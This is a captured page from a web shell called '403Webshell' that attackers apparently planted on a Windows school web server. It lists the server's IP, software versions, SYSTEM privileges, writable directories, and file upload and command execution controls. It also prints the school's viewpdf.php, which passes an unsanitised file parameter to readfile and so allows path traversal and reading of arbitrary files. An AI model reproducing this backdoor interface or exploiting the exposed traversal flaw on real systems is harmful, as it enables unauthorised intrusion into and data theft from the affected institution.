403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/benjama/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/benjama/modules/viewpdf.php
<?php

//$file = 'tkk2/25680102_080046_2183.pdf';
//$filename = 'tkk2/25680102_080046_2183.pdf';
if(! isset($_GET['file']) || $_GET['file'] == "") {
    echo "no preview" ;  
    exit ;
}
$file = "../data/" . $_GET['file'] ;
$bb = explode("/", $file);
$filename = $bb[sizeof($bb) -1];

//echo $file . "<br>" . $filename ; exit ;

// Header content type
header('Content-type: application/pdf');
header('Content-Disposition: inline; filename="' . $filename . '"');
header('Content-Transfer-Encoding: binary');
header('Accept-Ranges: bytes');
  
// Read the file
@readfile($file);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit